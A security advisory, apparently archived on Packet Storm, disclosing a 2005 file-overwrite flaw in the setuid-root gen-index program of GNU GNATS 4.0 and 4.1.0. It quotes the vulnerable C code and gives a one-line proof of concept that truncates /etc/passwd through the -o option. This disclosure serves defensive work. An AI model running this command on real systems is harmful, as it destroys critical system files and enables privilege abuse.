what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

gnats.txt

gnats.txt
Posted Jul 7, 2005
Authored by Adam Zabrocki | Site pi3.int.pl

GNATS, the GNU problem report management system, allows attackers to overwrite any files when installed setuid root. Versions 4.1.0 and 4.0 are confirmed vulnerable.

tags | exploit, root
SHA-256 | 4031dc7bd80756c01de19fbd5c5b10ed61647fcf3d7a8d671efe64383ea17a13

gnats.txt

Change Mirror Download
Name:                       GNATS - gen-index
Vendor URL: http://www.gnu.org/software/gnats
Author: Adam Zabrocki <pi3ki31ny@wp.pl>
Date: June 16, 2005

Issue:


GNATS - the GNU problem report management system allows attacker to overwrite
files with privileges suid root (when compiled from sources and there isn't in system
gnats user), where GNATS is installed.


Description:


GNATS stores all information about the problem reports at a central site, and enables
users to access this site by various means, including e-mail, WWW, and a network daemon.
New problem reports can be created, and existing reports can be queried and updated, by
most of these means.


Details:


Possible overwrite any files in system by gen-index program installed
with GNATS.


Local users, able to run gen-index (in some times when GNATS was compiled from sources
and in system don't exist gnats user and group) are able to overwrite any files in system.
The problem lies in gen-index main() function, which don't check argument who was given
to program and in hard open and write there own data.

"gnats/gen-index.c"
int
main (int argc, char **argv)
{
...
...

while ((optc = getopt_long (argc, argv, "o:hd:nVie",
long_options, (int *) 0)) != EOF)
{
switch (optc)
{
...
...
case 'o':
file_name = optarg;
break;

case 'n':
numeric_sorting = TRUE;
break;
...
...
}
}

...
...

if (file_name)
output = fopen (file_name, "w+");
if (output == (FILE *) NULL)
{
fprintf (stderr, "%s: can't write to %s: %s\n", program_name,
optarg, strerror (errno));
exit (3);
}

...
...

if (indexIsBinary (database))
{
char numFields = indexFieldCount (database);
fwrite (&numFields, 1, 1, output);
}

...
...
if (numeric_sorting && num_entries > 0)
{
qsort (entries, num_entries, sizeof (Entry), entry_cmp);
for (i = 0; i < num_entries; i++)
{
fwrite (entries[i].string, 1, entries[i].length, output);
}
}

fclose (output);
...
exit (0);
}


Function fopen() with argument "w+" open file for reading and writing.
The file is created if it does not exist, otherwise it is truncated.
So when gen-index have suid root privilages we can overwrite any files
in system.


Exploit:


We don't need to write any 31337 exploit. Simple PoC:

pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$


GNATS 4.1.0 and 4.0 are confirmed vulnerable. Probably all previous versions are also vulnerable.

I have informed GNATS team.

--
pi3 (pi3ki31ny) - pi3ki31ny@wp.pl
http://www.pi3.int.pl
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close